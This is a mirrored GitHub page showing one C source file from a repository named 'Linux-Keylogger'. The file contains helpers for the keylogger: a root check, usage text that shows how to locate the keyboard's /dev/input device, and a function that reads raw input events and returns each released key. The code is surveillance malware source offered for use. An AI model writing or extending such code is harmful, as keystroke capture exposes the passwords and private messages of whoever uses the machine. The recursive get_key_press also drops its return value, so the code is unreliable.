mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 16:40:09 -07:00
51 lines
1.1 KiB
C
51 lines
1.1 KiB
C
|
|
#include "keylogger.h"
|
|
|
|
/*
|
|
* returns 0 if user is not root
|
|
* else returns 1
|
|
*/
|
|
int user_is_root() {
|
|
if (geteuid() != 0) {
|
|
puts("You should run this script as root");
|
|
puts("ex: sudo ./keylogger /dev/input/deviceX");
|
|
return 0;
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
|
|
/*
|
|
* If no input device specified returns 1
|
|
* If no errors it returns 0
|
|
*/
|
|
int input_has_errors(int argc, char *argv[]) {
|
|
if(argc < 2) {
|
|
puts("No input device given.");
|
|
puts("Usage: './keylogger device'");
|
|
puts("Device should be /dev/input/device*");
|
|
puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`");
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
/*
|
|
* -Reads input event (key stroke)
|
|
* -Returns the key when it's released
|
|
* This means that by long pressing a key it only gets logged once.
|
|
* -If no key is pressed it calls itself recursively again
|
|
*/
|
|
int get_key_press(int fd, struct input_event ev) {
|
|
read(fd, &ev, sizeof(struct input_event));
|
|
|
|
// ev.value == 0 -> button is released
|
|
if (ev.type == 1 && ev.value == 0)
|
|
return ev.code;
|
|
|
|
// if no key pressed check again
|
|
get_key_press(fd, ev);
|
|
|
|
}
|